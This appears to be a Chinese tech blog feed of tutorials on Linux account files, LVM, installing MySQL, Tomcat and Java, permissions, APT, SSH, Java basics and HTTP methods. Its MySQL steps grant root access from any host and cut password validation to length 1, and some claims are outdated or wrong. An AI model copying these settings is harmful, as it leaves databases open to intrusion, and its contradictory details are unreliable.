管理员在系统上的任务是对普通用户和整个系统进行管理。对系统具有绝对的控制权，能够对系统进行一切操作。用 root 表示，root 用户在系统中拥有最高权限，默认下 Ubuntu 用户的 root 用户是不能登录的。

安装时创建的系统用户

此用户创建时被添加到 admin 组中，在 Ubuntu 中，admin 组中的用户默认是可以使用 sudo 命令来执行只有管理员才能执行的命令的。如果不使用 sudo 就是一个普通用户。

组账户说明

私有组

当创建一个用户时没有指定属于哪个组，Linux 就会建立一个与用户同名的私有组，此私有组只含有该用户。

标准组

当创建一个用户时可以选定一个标准组，如果一个用户同时属于多个组时，登录后所属的组为主组，其他的为附加组。

账户系统文件说明

/etc/passwd

每一行代表一个账号，众多账号是系统正常运行所必须的，例如 bin，nobody 每行定义一个用户账户，此文件对所有用户可读。每行账户包含如下信息：

root:x:0:0:root:/root:/bin/bash

  • 用户名： 就是账号，用来对应 UID，root UID 是 0。
  • 口令： 密码，早期 UNIX 系统密码存在此字段，由于此文件所有用户都可以读取，密码容易泄露，后来这个字段数据就存放到 /etc/shadow 中，这里只能看到 X。
  • 用户标示号（UID）： 系统内唯一，root 用户的 UID 为 0，普通用户从 1000 开始，1-999 是系统的标准账户，500-65536 是可登陆账号。
  • 组标示号（GID）： 与 /etc/group 相关用来规定组名和 GID 相对应。
  • 注释： 注释账号
  • 宿主目录（主文件夹）： 用户登录系统后所进入的目录 root 在 /root/itcast
  • 命令解释器（shell）： 指定该用户使用的 shell ，默认的是 /bin/bash

/etc/shadow

为了增加系统的安全性，用户口令通常用 shadow passwords 保护。只有 root 可读。每行包含如下信息：
root:$6$Reu571.V$Ci/kd.OTzaSGU.TagZ5KjYx2MLzQv2IkZ24E1.yeTT3Pp4o/yniTjus/rRaJ92Z18MVy6suf1W5uxxurqssel.:17465:0:99999:7:::

  • 账号名称： 需要和 /etc/passwd 一致。
  • 密码： 经过加密，虽然加密，但不表示不会被破解，该文件默认权限如下：
    • rw——- 1 root root 1560 Oct 26 17:20 passwd-
    • 只有root能都读写
  • 最近修改密码日期： 从1970-1-1起，到用户最后一次更改口令的天数
  • 密码最小时间间隔： 从1970-1-1起，到用户可以更改口令的天数
  • 密码最大时间间隔： 从1970-1-1起，必须更改的口令天数
  • 密码到期警告时间： 在口令过期之前几天通知
  • 密码到期后账号宽限时间
  • 密码到期禁用账户时间： 在用户口令过期后到禁用账户的天数
  • 保留

/etc/group

用户组的配置文件

root:x:0:

  • 用户组名称
  • 用户组密码： 给用户组管理员使用，通常不用
  • GID： 用户组的ID
  • 此用户支持的账号名称： 一个账号可以加入多个用户组，例如想要 itcast 加入 root 这个用户组，将该账号填入该字段即可 root❌0:root, icast 将用户进行分组是 Linux 对用户进行管理及控制访问权限的一种手段。一个中可以有多个用户，一个用户可以同时属于多个组。该文件对所有用户可读。

/etc/gshadow

该文件用户定义用户组口令，组管理员等信息只有root用户可读。

root:\*::

  • 用户组名
  • 密码列
  • 用户组管理员的账号
  • 用户组所属账号

    账户管理常用命

    增加用户

    useradd 用户名
    useradd -u (UID号)
    useradd -p (口令)
    useradd -g (分组)
    useradd -s (SHELL)
    useradd -d (用户目录)

如：useradd lusifer

增加用户名为 lusifer 的账户

修改用户

usermod -u (新UID)
usermod -d (用户目录)
usermod -g (组名)
usermod -s (SHELL)
usermod -p (新口令)
usermod -l (新登录名)
usermod -L (锁定用户账号密码)
usermod -U (解锁用户账号)

如：usermod -u 1024 -g group2 -G root lusifer

将 lusifer 用户 uid 修改为 1024，默认组改为系统中已经存在的 group2，并且加入到系统管理员组

删除用户

userdel 用户名 (删除用户账号)
userdel -r 删除账号时同时删除目录

如：userdel -r lusifer

删除用户名为 lusifer 的账户并同时删除 lusifer 的用户目录

组账户维护

groupadd 组账户名 (创建新组)
groupadd -g 指定组GID
groupmod -g 更改组的GID
groupmod -n 更改组账户名
groupdel 组账户名 (删除指定组账户)

口令维护

passwd 用户账户名 (设置用户口令)
passwd -l 用户账户名 (锁定用户账户)
passwd -u 用户账户名 (解锁用户账户)
passwd -d 用户账户名 (删除账户口令)
gpasswd -a 用户账户名 组账户名 (将指定用户添加到指定组)
gpasswd -d 用户账户名 组账户名 (将用户从指定组中删除)
gpasswd -A 用户账户名 组账户名 (将用户指定为组的管理员)

用户和组状态

su 用户名(切换用户账户)
id 用户名(显示用户的UID，GID)
whoami (显示当前用户名称)
groups (显示用户所属组)
]]> Linux 教程 Linux Linux LVM 磁盘扩容 /2018/08/16/linux-lvm-ci-pan-kuo-rong/ LVM 的基本概念

物理卷 Physical volume (PV)

可以在上面建立卷组的媒介，可以是硬盘分区，也可以是硬盘本身或者回环文件（loopback file）。物理卷包括一个特殊的 header，其余部分被切割为一块块物理区域（physical extents）。

卷组 Volume group (VG)

将一组物理卷收集为一个管理单元。

逻辑卷 Logical volume (LV)

虚拟分区，由物理区域（physical extents）组成。

物理区域 Physical extent (PE)

硬盘可供指派给逻辑卷的最小单位（通常为 4MB）。

磁盘操作相关命令

df -h（查看挂载点）

lvdisplay（显示当前的 logical volume）

备注： 注意这里目前有两个，一个是文件系统所在的 volume，另一个是 swap 分区使用的 volume，当然，我们需要扩容的是第一个

vgdisplay（显示当前的 volume group）

开始 LVM 扩容

查看 fdisk

fdisk -l

因为这台机器默认开启了 LVM，所以目前有一个 extended分区和一个LVM 分区，并且他们是完全重叠的。这是因为，LVM 分区作为一个虚拟的分区，完全占用了这个 extended 分区，原理图见下：

因此，现在需要做的就是将 extended partition (sda2) 扩展到最大，然后创建一个新的 LVM logical partition (sda6)，用它来填满 sda2

查看所有连接到电脑上的储存设备

disk -l |grep '/dev'

1 块磁盘效果图

2 块磁盘效果图（新增磁盘，尚未挂载）

创建 sdb 分区

fdisk /dev/sdb
n# 新建分区
l# 选择逻辑分区，如果没有，则首先创建扩展分区（p），然后再添加逻辑分区（硬盘：最多四个分区  P-P-P-P 或 P-P-P-E）

回车
回车
回车
w# 写入磁盘分区

格式化磁盘

mkfs -t ext4 /dev/sdb1

创建 PV

pvcreate /dev/sdb1

查看卷组

pvscan

扩容 VG

vgdisplay

vgextend ubuntu-vg /dev/sdb1

扩容 LV

# 增加指定大小
lvextend -L +30G /dev/ubuntu-vg/root
# 按百分比扩容
lvextend -l +100%FREE /dev/ubuntu-vg/root

刷新分区

resize2fs /dev/ubuntu-vg/root

删除 unknown device

pvscan
vgreduce --removemissing ubuntu-vg

注意：不要卸载扩容的磁盘，可能出现丢失数据或是系统无法启动

]]> Linux Linux Linux 安装 MySQL /2018/08/12/linux-an-zhuang-mysql/ Linux 安装 MySQL

更新数据源

apt-get update

安装 MySQL

apt-get install mysql-server

系统将提示您在安装过程中创建 root 密码。选择一个安全的密码，并确保你记住它，因为你以后需要它。接下来，我们将完成 MySQL 的配置。

配置

因为是全新安装，您需要运行附带的安全脚本。这会更改一些不太安全的默认选项，例如远程 root 登录和示例用户。在旧版本的 MySQL 上，您需要手动初始化数据目录，但 Mysql 5.7 已经自动完成了。

运行安全脚本：

mysql_secure_installation

这将提示您输入您在之前步骤中创建的 root 密码。您可以按 Y，然后 ENTER 接受所有后续问题的默认值，但是要询问您是否要更改 root 密码。您只需在之前步骤中进行设置即可，因此无需现在更改。

测试

按上边方式安装完成后，MySQL 应该已经开始自动运行了。要测试它，请检查其状态。

lusifer@ubuntu:~$ systemctl status mysql.service
● mysql.service - MySQL Community Server
   Loaded: loaded (/lib/systemd/system/mysql.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2017-11-21 13:04:34 CST; 3min 24s ago
 Main PID: 2169 (mysqld)
   CGroup: /system.slice/mysql.service
           └─2169 /usr/sbin/mysqld

Nov 21 13:04:33 ubuntu systemd[1]: Starting MySQL Community Server...
Nov 21 13:04:34 ubuntu systemd[1]: Started MySQL Community Server.

查看 MySQL 版本：

mysqladmin -p -u root version

配置远程访问

  • 修改配置文件
    nano /etc/mysql/mysql.conf.d/mysqld.cnf
  • 注释掉(语句前面加上 # 即可)：
    bind-address = 127.0.0.1
  • 重启 MySQL
    service mysql restart
  • 登录 MySQL
    mysql -u root -p
  • 授权 root 用户允许所有人连接
    grant all privileges on *.* to 'root'@'%' identified by '你的 mysql root 账户密码';

因弱口令无法成功授权解决步骤

  • 查看和设置密码安全级别
    select @@validate_password_policy;
    set global validate_password_policy=0;
  • 查看和设置密码长度限制
    select @@validate_password_length;
    set global validate_password_length=1;

常用命令

启动

service mysql start

停止

service mysql stop

重启

service mysql restart

其它配置

修改配置 mysqld.cnf 配置文件

vi /etc/mysql/mysql.conf.d/mysqld.cnf

配置默认字符集

在 [mysqld] 节点上增加如下配置

[client]
default-character-set=utf8

在 [mysqld]节点底部增加如下配置

default-storage-engine=INNODB
character-set-server=utf8
collation-server=utf8_general_ci

配置忽略数据库大小写敏感

在 [mysqld]节点底部增加如下配置

lower-case-table-names = 1
]]> Linux Linux MySql Linux 安装 Tomcat /2018/08/12/linux-an-zhuang-tomcat/ Linux 安装 Tomcat

此处以 Tomcat 8.5.23 为例

下载地址
https://tomcat.apache.org/

解压缩并移动到指定目录

解压缩

tar -zxvf apache-tomcat-8.5.23.tar.gz

变更目录名

mv apache-tomcat-8.5.23 tomcat

移动目录

mv tomcat/ /usr/local/

常用命令

启动

/usr/local/tomcat/bin/startup.sh

停止

/usr/local/tomcat/bin/shutdown.sh

目录内执行脚本

./startup.sh
]]> Linux Linux Tomcat Linux 安装 Java /2018/08/12/linux-an-zhuang-java/

此处以 JDK 1.8.0_152 为例

解压缩并移动到指定目录

解压缩

tar -zxvf jdk-8u152-linux-x64.tar.gz

创建目录

mkdir -p /usr/local/java

移动安装包

mv jdk1.8.0_152/ /usr/local/java/

设置所有者

chown -R root:root /usr/local/java/

配置环境变量

配置系统环境变量

nano /etc/environment

添加如下语句

PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
export JAVA_HOME=/usr/local/java/jdk1.8.0_152
export JRE_HOME=/usr/local/java/jdk1.8.0_152/jre
export CLASSPATH=$CLASSPATH:$JAVA_HOME/lib:$JAVA_HOME/jre/lib

配置用户环境变量

nano /etc/profile

添加如下语句

if [ "$PS1" ]; then
  if [ "$BASH" ] && [ "$BASH" != "/bin/sh" ]; then
    # The file bash.bashrc already sets the default PS1.
    # PS1='\h:\w\$ '
    if [ -f /etc/bash.bashrc ]; then
      . /etc/bash.bashrc
    fi
  else
    if [ "`id -u`" -eq 0 ]; then
      PS1='# '
    else
      PS1='$ '
    fi
  fi
fi

export JAVA_HOME=/usr/local/java/jdk1.8.0_152
export JRE_HOME=/usr/local/java/jdk1.8.0_152/jre
export CLASSPATH=$CLASSPATH:$JAVA_HOME/lib:$JAVA_HOME/jre/lib
export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH:$HOME/bin

if [ -d /etc/profile.d ]; then
  for i in /etc/profile.d/*.sh; do
    if [ -r $i ]; then
      . $i
    fi
  done
  unset i
fi

使用户环境变量生效

source /etc/profile

测试是否安装成功

root@UbuntuBase:/usr/local/java# java -version
java version "1.8.0_152"
Java(TM) SE Runtime Environment (build 1.8.0_152-b16)
Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)

为其他用户更新用户环境变量

su lusifer
source /etc/profile
]]> Linux 教程 Linux Linux 文件权限管理 /2018/08/07/linux-wen-jian-quan-xian-guan-li/ Linux 文件权限管理

查看文件和目录的权限

ls –al使用 ls 不带参数只显示文件名称，通过ls –al 可以显示文件或者目录的权限信息。

ls -l 文件名 显示信息包括：文件类型 (d 目录，-普通文件，l 链接文件)，文件权限，文件的用户，文件的所属组，文件的大小，文件的创建时间，文件的名称

-rw-r--r-- 1 lusifer lusifer 675 Oct 26 17:20 .profile

  • -：普通文件
  • rw-：说明用户 lusifer 有读写权限，没有运行权限
  • r--：表示用户组 lusifer 只有读权限，没有写和运行的权限
  • r--：其他用户只有读权限，没有写权限和运行的权限
  • -rw-r--r--1lusiferlusifer675Oct 26 17:20.profile
    文档类型及权限连接数文档所属用户文档所属组文档大小文档最后被修改日期文档名称
-rw-r--r--
文档类型文档所有者权限（user）文档所属用户组权限（group）其他用户权限（other）

文档类型

  • d 表示目录
  • l 表示软连接
  • – 表示文件
  • c 表示串行端口字符设备文件
  • b 表示可供存储的块设备文件
    余下的字符 3 个字符为一组。r只读，w 可写，x 可执行，- 表示无此权限

连接数

指有多少个文件指向同一个索引节点。

文档所属用户和所属组

就是文档属于哪个用户和用户组。文件所属用户和组是可以更改的

文档大小

默认是 bytes

更改操作权限

chown

是 change owner 的意思，主要作用就是改变文件或者目录所有者，所有者包含用户和用户组

chown [-R] 用户名称 文件或者目录

chown [-R] 用户名称 用户组名称 文件或目录

-R：进行递归式的权限更改，将目录下的所有文件、子目录更新为指定用户组权限

chmod

改变访问权限

chmod [who] [+ | - | =] [mode] 文件名

who

表示操作对象可以是以下字母的一个或者组合

  • u：用户 user
  • g：用户组 group
  • o：表示其他用户
  • a：表示所有用户是系统默认的

    操作符号

  • +：表示添加某个权限
  • -：表示取消某个权限
  • =：赋予给定的权限，取消文档以前的所有权限

    mode

    表示可执行的权限，可以是 r、w、x

文件名

文件名可以使空格分开的文件列表

示例

lusifer@UbuntuBase:~$ ls -al test.txt 
-rw-rw-r-- 1 lusifer lusifer 6 Nov  2 21:47 test.txt
lusifer@UbuntuBase:~$ chmod u=rwx,g+r,o+r test.txt 
lusifer@UbuntuBase:~$ ls -al test.txt 
-rwxrw-r-- 1 lusifer lusifer 6 Nov  2 21:47 test.txt
lusifer@UbuntuBase:~$

数字设定法

数字设定法中数字表示的含义

  • 0 表示没有任何权限
  • 1 表示有可执行权限 = x
  • 2 表示有可写权限 = w
  • 4 表示有可读权限 = r
    也可以用数字来表示权限如 chmod 755 file_name
r w xr – xr - x
4 2 14 - 14 - 1
usergroupothers

若要 rwx 属性则 4+2+1=7

若要 rw- 属性则 4+2=6

若要 r-x 属性则 4+1=5

lusifer@UbuntuBase:~$ chmod 777 test.txt 
lusifer@UbuntuBase:~$ ls -al test.txt 
-rwxrwxrwx 1 lusifer lusifer 6 Nov  2 21:47 test.txt

lusifer@UbuntuBase:~$ chmod 770 test.txt 
lusifer@UbuntuBase:~$ ls -al test.txt 
-rwxrwx--- 1 lusifer lusifer 6 Nov  2 21:47 test.txt
]]> Linux Linux Linux软件包管理 /2018/08/05/linux-ruan-jian-bao-guan-li/ Linux 软件包管理

APT(Advanced Packaging Tool) 是 Debian/Ubuntu 类 Linux 系统中的软件包管理程序, 使用它可以找到想要的软件包, 而且安装、卸载、更新都很简便；也可以用来对 Ubuntu 进行升级; APT 的源文件为 /etc/apt/ 目录下的sources.list文件。

修改数据源

由于国内的网络环境问题，我们需要将 Ubuntu 的数据源修改为国内数据源，操作步骤如下：

查看系统版本

lsb_release -a

输出结果为

No LSB modules are available.
Distributor ID:Ubuntu
Description:Ubuntu 16.04 LTS
Release:16.04
Codename:xenial

注意： Codename 为 xenial，该名称为我们 Ubuntu 系统的名称，修改数据源需要用到该名称

编辑数据源

vi /etc/apt/sources.list

删除全部内容并修改为

deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse

更新数据源

apt-get update

常用 APT 命令

安装软件包

apt-get install packagename

删除软件包

apt-get remove packagename

更新软件包列表

apt-get update

升级有可用更新的系统（慎用）

apt-get upgrade

其它 APT 命令

搜索

apt-cache search package

获取包信息

apt-cache show package

删除包及配置文件

apt-get remove package --purge

了解使用依赖

apt-cache depends package

查看被哪些包依赖

apt-cache rdepends package

安装相关的编译环境

apt-get build-dep package

下载源代码

apt-get source package

清理无用的包

apt-get clean && apt-get autoclean

检查是否有损坏的依赖

apt-get check
]]> Linux Linux Xshell 详细的Linux基本操作 /2018/08/02/linux-yuan-cheng-kong-zhi-guan-li/ Linux 远程控制管理

传统的网络服务程序，FTP、POP、telnet 本质上都是不安全的，因为它们在网络上通过明文传送口令和数据，这些数据非常容易被截获。SSH 叫做 Secure Shell。通过 SSH，可以把传输数据进行加密，预防攻击，传输的数据进行了压缩，可以加快传输速度。

OpenSSH

SSH 是芬兰一家公司开发。但是受到版权和加密算法限制，现在很多人都使用 OpenSSH。OpenSSH 是 SSH 的替代软件，免费。

OpenSSH 由客户端和服务端组成。

  • 基于口令的安全验证：知道服务器的帐号密码即可远程登录，口令和数据在传输过程中都会被加密。
  • 基于密钥的安全验证：此时需要在创建一对密钥，把公有密钥放到远程服务器上自己的宿主目录中，而私有密钥则由自己保存。

  • 检查软件是否安装

    apt-cache policy openssh-client openssh-server

安装服务端

apt-get install openssh-server

安装客户端

apt-get install openssh-client

OpenSSH 服务器的主要配置文件为 /etc/ssh/sshd\_config，几乎所有的配置信息都在此文件中。

XShell

XShell 是一个强大的安全终端模拟软件，它支持 SSH1, SSH2, 以及 Microsoft Windows 平台的 TELNET 协议。XShell 通过互联网到远程主机的安全连接以及它创新性的设计和特色帮助用户在复杂的网络环境中享受他们的工作。
下载Xshell
XShell 可以在 Windows 界面下用来访问远端不同系统下的服务器，从而比较好的达到远程控制终端的目的。

效果图如下：

Linux 的目录结构

目录说明
bin存放二进制可执行文件(ls,cat,mkdir等)
boot存放用于系统引导时使用的各种文件
dev用于存放设备文件
etc存放系统配置文件
home存放所有用户文件的根目录
lib存放跟文件系统中的程序运行所需要的共享库及内核模块
mnt系统管理员安装临时文件系统的安装点
opt额外安装的可选应用程序包所放置的位置
proc虚拟文件系统，存放当前内存的映射
root超级用户目录
sbin存放二进制可执行文件，只有root才能访问
tmp用于存放各种临时文件
usr用于存放系统应用程序，比较重要的目录/usr/local 本地管理员软件安装目录
var用于存放运行时需要改变数据的文件

Linux 操作文件目录

命令说明语法参数参数说明
ls显示文件和目录列表ls [-alrtAFR] [name...]
-l列出文件的详细信息
-a列出当前目录所有文件，包含隐藏文件
mkdir创建目录mkdir [-p] dirName
-p父目录不存在情况下先生成父目录
cd切换目录cd [dirName]
touch生成一个空文件
echo生成一个带内容文件echo abcd > 1.txt，echo 1234 >> 1.txt
cat显示文本文件内容cat [-AbeEnstTuv] [--help] [--version] fileName
cp复制文件或目录cp [options] source dest
rm删除文件rm [options] name...
-f强制删除文件或目录
-r同时删除该目录下的所有文件
mv移动文件或目录mv [options] source dest
find在文件系统中查找指定的文件-name文件名
grep在指定的文本文件中查找指定的字符串
tree用于以树状图列出目录的内容
pwd显示当前工作目录
ln建立软链接
more分页显示文本文件内容
head显示文件开头内容
tail显示文件结尾内容-f跟踪输出

Linux 操作文件目录

命令说明
stat显示指定文件的相关信息,比ls命令显示内容更多
who显示在线登录用户
hostname显示主机名称
uname显示系统信息
top显示当前系统中耗费资源最多的进程
ps显示瞬间的进程状态
du显示指定的文件（目录）已使用的磁盘空间的总量
df显示文件系统磁盘空间的使用情况
free显示当前内存和交换空间的使用情况
ifconfig显示网络接口信息
ping测试网络的连通性
netstat显示网络状态信息
clear清屏
kill杀死一个进程

Linux 开关机命令

shutdown 命令可以用来进行关机程序，并且在关机以前传送讯息给所有使用者正在执行的程序，shutdown 也可以用来重开机。

| 命令 | 语法 参数说明 |
|————-|———————————————————|—-|——|
| shutdown | shutdown [-t seconds] [-rkhncfF] time [message] |
| -t seconds | 设定在几秒钟之后进行关机程序 |
| -k | 并不会真的关机，只是将警告讯息传送给所有只用者 |
| -r | 关机后重新开机（重启） |
| -h | 关机后停机 |
| -n | 不采用正常程序来关机，用强迫的方式杀掉所有执行中的程序后自行关机 |
| -c | 取消目前已经进行中的关机动作 |
| -f | 关机时，不做 fcsk 动作(检查 Linux 档系统) |
| -F | 关机时，强迫进行 fsck 动作 |
| time | 设定关机的时间 |
| message | 传送给所有使用者的警告讯息 |

重启

  • reboot
  • shutdown -r now

    关机

  • shutdown -h now

Linux 压缩命令

tar

命令语法参数参数说明
tartar [-cxzjvf] 压缩打包文档的名称 欲打包目录
-c建立一个归档文件的参数指令
-x解开一个归档文件的参数指令
-z是否需要用 gzip 压缩
-j是否需要用 bzip2 压缩
-v压缩的过程中显示文件
-f使用档名，在 f 之后要立即接档名
-tf查看归档文件里面的文件
例子：
  • 压缩文件夹：tar -zcvf test.tar.gz test\
  • 解压文件夹：tar -zxvf test.tar.gz

    gzip

命令语法参数参数说明
gzipgzip [选项] 压缩（解压缩）的文件名
-d解压缩
-l对每个压缩文件，显示压缩文件的大小，未压缩文件的大小，压缩比，未压缩文件的名字
-v对每一个压缩和解压的文件，显示文件名和压缩比
-num用指定的数字num调整压缩的速度，-1或--fast表示最快压缩方法（低压缩比），-9或--best表示最慢压缩方法（高压缩比）。系统缺省值为6

说明：压缩文件后缀为 gz

bzip2

命令语法参数参数说明
bzip2bzip2 [-cdz]
-d解压缩
-z压缩参数
-num用指定的数字num调整压缩的速度，-1或--fast表示最快压缩方法（低压缩比），-9或--best表示最慢压缩方法（高压缩比）。系统缺省值为6

说明：压缩文件后缀为 bz2

Linux 编辑器

vim

#运行模式
编辑模式：等待编辑命令输入

插入模式：编辑模式下，输入 i 进入插入模式，插入文本信息

命令模式：在编辑模式下，输入: 进行命令模式

#命令
:q直接退出vi

:wq保存后退出vi ，并可以新建文件

:q! 强制退出

:w file 将当前内容保存成某个文件

:set number 在编辑文件显示行号

:set nonumber 在编辑文件不显示行号

nano

nano 是一个字符终端的文本编辑器，有点像 DOS 下的 editor 程序。它比 vi/vim 要简单得多，比较适合 Linux 初学者使用。某些 Linux 发行版的默认编辑器就是 nano。

命令

  • 保存：ctrl + o
  • 搜索：ctrl + w
  • 上一页：ctrl + y
  • 下一页：ctrl + v
  • 退出：ctrl + x
]]> Linux Linux Xshell Linux简介 /2018/08/01/linux-jian-jie/ Linux

Linux 是一种自由和开放源码的类 UNIX 操作系统，使用 Linux 内核。目前存在着许多不同的 Linux 发行版，可安装在各种各样的电脑硬件设备，从手机、平板电脑、路由器和影音游戏控制台，到桌上型电脑，大型电脑和超级电脑。 Linux 是一个领先的操作系统，世界上运算最快的 10 台超级电脑运行的都是 Linux 操作系统

Linux 操作系统也是自由软件和开放源代码发展中最著名的例子。只要遵循 GNU 通用公共许可证,任何人和机构都可以自由地使用 Linux 的所有底层源代码，也可以自由地修改和再发布。严格来讲，Linux 这个词本身只表示 Linux 内核，但在实际上人们已经习惯了用 Linux 来形容整个基于 Linux 内核，并且使用 GNU 工程各种工具和数据库的操作系统 (也被称为 GNU/ Linux)。通常情况下，Linux 被打包成供桌上型电脑和服务器使用的 Linux 发行版本。一些流行的主流 Linux 发行版本，包括 Debian (及其衍生版本 Ubuntu)，Fedora 和 OpenSUSE 等。Kernel + Softwares + Tools 就是 Linux Distribution

目前市面上较知名的发行版有：Ubuntu、RedHat、CentOS、Debian、Fedora、SuSE、OpenSUSE、TurboLinux、BluePoint、RedFlag、Xterm、SlackWare等。

Linux 与 Windows 比较

目前国内 Linux 更多的是应用于服务器上，而桌面操作系统更多使用的是 Windows。主要区别如下:

比较WindowsLinux
界面界面统一，外壳程序固定所有 Windows 程序菜单几乎一致，快捷键也几乎相同图形界面风格依发布版不同而不同，可能互不兼容。GNU/Linux 的终端机是从 UNIX 传承下来，基本命令和操作方法也几乎一致。
驱动程序驱动程序丰富，版本更新频繁。默认安装程序里面一般包含有该版本发布时流行的硬件驱动程序，之后所出的新硬件驱动依赖于硬件厂商提供。对于一些老硬件，如果没有了原配的驱动有时很难支持。另外，有时硬件厂商未提供所需版本的 Windows 下的驱动，也会比较头痛。由志愿者开发，由Linux核心开发小组发布，很多硬件厂商基于版权考虑并未提供驱动程序，尽管多数无需手动安装，但是涉及安装则相对复杂，使得新用户面对驱动程序问题（是否存在和安装方法）会一筹莫展。但是在开源开发模式下，许多老硬件尽管在 Windows 下很难支持的也容易找到驱动。HP、Intel、AMD 等硬件厂商逐步不同程度支持开源驱动，问题正在得到缓解。
使用使用比较简单，容易入门。图形化界面对没有计算机背景知识的用户使用十分有利。图形界面使用简单，容易入门。文字界面，需要学习才能掌握。
学习系统构造复杂、变化频繁，且知识、技能淘汰快，深入学习困难。系统构造简单、稳定，且知识、技能传承性好，深入学习相对容易。
软件每一种特定功能可能都需要商业软件的支持，需要购买相应的授权。大部分软件都可以自由获取，同样功能的软件选择较少。

安装 Ubuntu Server

下载 Ubuntu Server

安装 VMware

安装虚拟机

]]> Linux 教程 Linux JAVA小知识总结 /2018/07/21/java-xiao-zhi-shi-zong-jie/ equals 与 == 的区别
  • ==与equals的主要区别是：== 常用于比较原生类型，而 equals() 方法用于检查对象的相等性。
  • 另一个不同的点是：如果 ==和 equals() 用于比较对象，当两个引用地址相同，== 返回 true。而 equals() 可以返回 true 或者 false 主要取决于重写实现。最常见的一个例子，字符串的比较，不同情况 == 和 equals() 返回不同的结果。

session 与 cookie 区别

  • cookie 数据存放在客户的浏览器上，session 数据放在服务器上。
  • cookie 不是很安全，别人可以分析存放在本地的 - cookie 并进行 cookie 欺骗，考虑到安全应当使用 session。
  • session 会在一定时间内保存在服务器上。当访问增多，会比较占用你服务器的性能，考虑到减轻服务器性能方面，应当使用 cookie。
  • 单个 cookie 保存的数据不能超过 4K，很多浏览器都限制一个站点最多保存 20 个 cookie。

final, finally, finalize 的区别

final

用于声明属性,方法和类, 分别表示属性不可变, 方法不可覆盖, 类不可继承.

finally

是异常处理语句结构的一部分，表示总是执行.

finalize

是Object类的一个方法，在垃圾收集器执行的时候会调用被回收对象的此方法，可以覆盖此方法提供垃圾收集时的其他资源回收，例如关闭文件等. JVM不保证此方法总被调用.

int 和 Integer 有什么区别

int 是 Java 提供的 8 种原始数据类型之一。Java 为每个原始类型提供了封装类，Integer 是 Java 为 int 提供的封装类。 int 的默认值为 0，而 Integer 的默认值为 null，是引用类型，即 Integer 可以区分出未赋值和值为 0 的区别，int 则无法表达出未赋值的情况， Java 中 int 和 Integer 关系是比较微妙的。关系如下：

  • int 是基本的数据类型；
  • Integer 是 int 的封装类；
  • int 和 Integer 都可以表示某一个数值；
  • int 和 Integer 不能够互用，因为他们两种不同的数据类型；

重载和重写的区别

重载 Overload

表示同一个类中可以有多个名称相同的方法，但这些方法的参数列表各不相同（即参数个数或类型不同）。

重写 Override

表示子类中的方法可以与父类中的某个方法的名称和参数完全相同，通过子类创建的实例对象调用这个方法时，将调用子类中的定义方法，这相当于把父类中定义的那个完全相同的方法给覆盖了，这也是面向对象编程的多态性的一种表现。子类覆盖父类的方法时，只能比父类抛出更少的异常，或者是抛出父类抛出的异常的子异常，因为子类可以解决父类的一些问题，不能比父类有更多的问题。子类方法的访问权限只能比父类的更大，不能更小。如果父类的方法是private类型，那么，子类则不存在覆盖的限制，相当于子类中增加了一个全新的方法。

抽象类和接口有什么区别

参数抽象类接口
默认的方法实现它可以有默认的方法实现接口完全是抽象的。它根本不存在方法的实现
实现子类使用 extends 关键字来继承抽象类。如果子类不是抽象类的话，它需要提供抽象类中所有声明的方法的实现。子类使用关键字 implements 来实现接口。它需要提供接口中所有声明的方法的实现
构造器抽象类可以有构造器接口不能有构造器
与正常 Java 类的区别除了你不能实例化抽象类之外，它和普通Java类没有任何区别接口是完全不同的类型
访问修饰符抽象方法可以有 public、protected 和 default 这些修饰符接口方法默认修饰符是 public。你不可以使用其它修饰符。
main 方法抽象方法可以有 main 方法并且我们可以运行它接口没有 main 方法，因此我们不能运行它。
多继承抽象方法可以继承一个类和实现多个接口接口只可以继承一个或多个其它接口
速度它比接口速度要快接口是稍微有点慢的，因为它需要时间去寻找在类中实现的方法。
添加新方法如果你往抽象类中添加新的方法，你可以给它提供默认的实现。因此你不需要改变你现在的代码。如果你往接口中添加方法，那么你必须改变实现该接口的类。

面向对象的特征

面向对象的三个基本特征是：封装、继承、多态。

封装

封装最好理解了。封装是面向对象的特征之一，是对象和类概念的主要特性。 封装，也就是把客观事物封装成抽象的类，并且类可以把自己的数据和方法只让可信的类或者对象操作，对不可信的进行信息隐藏。

继承

面向对象编程 (OOP) 语言的一个主要功能就是“继承”。继承是指这样一种能力：它可以使用现有类的所有功能，并在无需重新编写原来的类的情况下对这些功能进行扩展。

多态

多态性（polymorphisn）是允许你将父对象设置成为和一个或更多的他的子对象相等的技术，赋值之后，父对象就可以根据当前赋值给它的子对象的特性以不同的方式运作。简单的说，就是一句话：允许将子类类型的指针赋值给父类类型的指针。 实现多态，有二种方式，覆盖，重载。

]]> JAVA JAVA HTTP 请求的 GET 与 POST 方式的区别 /2018/07/16/http-qing-qiu-de-get-yu-post-fang-shi-de-qu-bie/ HTTP 请求的 GET 与 POST 方式的区别

GET和POST是什么？HTTP协议中的两种发送请求的方法。

HTTP是什么？HTTP是基于TCP/IP的关于数据如何在万维网中如何通信的协议。

  • HTTP的底层是TCP/IP。所以GET和POST的底层也是TCP/IP，也就是说，GET/POST都是TCP链接。
  • GET和POST本质上就是TCP链接，并无差别。

GET和POST还有一个重大区别：

  • GET产生一个TCP数据包；POST产生两个TCP数据包。

小栗子:

  • 对于GET方式的请求，浏览器会把http header和data一并发送出去，服务器响应200（返回数据）；

  • 对于POST，浏览器先发送header，服务器响应100 continue，浏览器再发送data，服务器响应200 ok（返回数据）。

因为POST需要两步，时间上消耗的要多一点，看起来GET比POST更有效。因此Yahoo团队有推荐用GET替换POST来优化网站性能。但这是一个坑！跳入需谨慎。为什么？

  1. GET与POST都有自己的语义，不能随便混用。

  2. 据研究，在网络环境好的情况下，发一次包的时间和发两次包的时间差别基本可以无视。而在网络环境差的情况下，两次包的TCP在验证数据包完整性上，有非常大的优点。

  3. 并不是所有浏览器都会在POST中发送两次包，Firefox就只发送一次。

官方说法：

  • 根据 HTTP 规范，GET 用于信息获取，而且应该是安全的和幂等的。
